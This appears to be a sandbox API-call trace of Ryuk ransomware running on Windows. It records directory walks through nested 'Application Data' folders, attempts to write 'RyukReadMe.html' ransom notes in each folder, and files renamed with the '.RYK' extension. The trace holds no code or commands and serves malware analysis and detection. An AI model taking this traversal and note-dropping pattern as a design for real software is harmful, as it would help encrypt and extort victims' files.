	[0206.140] GetLastError () returned 0xb7
	[0206.140] CloseHandle (hObject=0x518) returned 1
	[0206.140] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0206.141] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0206.141] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4778f970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4778f970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4778f970, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x204, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0206.141] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47a894f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x204, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0206.141] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c
	[0206.143] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.144] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x204, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0206.144] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520
	[0206.146] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.147] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x204, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0206.147] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0206.147] SetLastError (dwErrCode=0x0) 
	[0206.148] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.148] GetLastError () returned 0x3
	[0206.148] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.148] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.148] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0206.148] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0206.148] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0206.148] SetLastError (dwErrCode=0x0) 
	[0206.148] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4
	[0206.149] GetLastError () returned 0xb7
	[0206.149] CloseHandle (hObject=0x4e4) returned 1
	[0206.149] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0206.149] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0206.149] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0206.149] SetLastError (dwErrCode=0x0) 
	[0206.150] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0206.150] GetLastError () returned 0xb7
	[0206.150] CloseHandle (hObject=0x480) returned 1
	[0206.150] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0206.150] SetLastError (dwErrCode=0x0) 
	[0206.150] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0206.151] GetLastError () returned 0xb7
	[0206.151] CloseHandle (hObject=0x480) returned 1
	[0206.151] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0206.151] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0206.151] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0206.151] SetLastError (dwErrCode=0x0) 
	[0206.152] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.152] GetLastError () returned 0x3
	[0206.152] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.152] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.152] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0206.152] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0206.153] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0206.153] SetLastError (dwErrCode=0x0) 
	[0206.153] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.153] GetLastError () returned 0x3
	[0206.153] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.153] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.154] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0206.154] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0206.154] SetLastError (dwErrCode=0x0) 
	[0206.154] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.154] GetLastError () returned 0x3
	[0206.154] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.154] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.154] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0206.154] SetLastError (dwErrCode=0x0) 
	[0206.154] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.154] GetLastError () returned 0x3
	[0206.155] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.155] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.155] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0206.155] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0206.155] SetLastError (dwErrCode=0x0) 
	[0206.155] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.155] GetLastError () returned 0x3
	[0206.155] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.155] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.156] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x210, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0206.156] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x210, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0206.156] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0206.156] SetLastError (dwErrCode=0x0) 
	[0206.156] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.156] GetLastError () returned 0x3
	[0206.156] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.156] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.156] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0206.156] SetLastError (dwErrCode=0x0) 
	[0206.157] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.157] GetLastError () returned 0x3
	[0206.157] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.157] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.157] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0206.157] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0206.157] SetLastError (dwErrCode=0x0) 
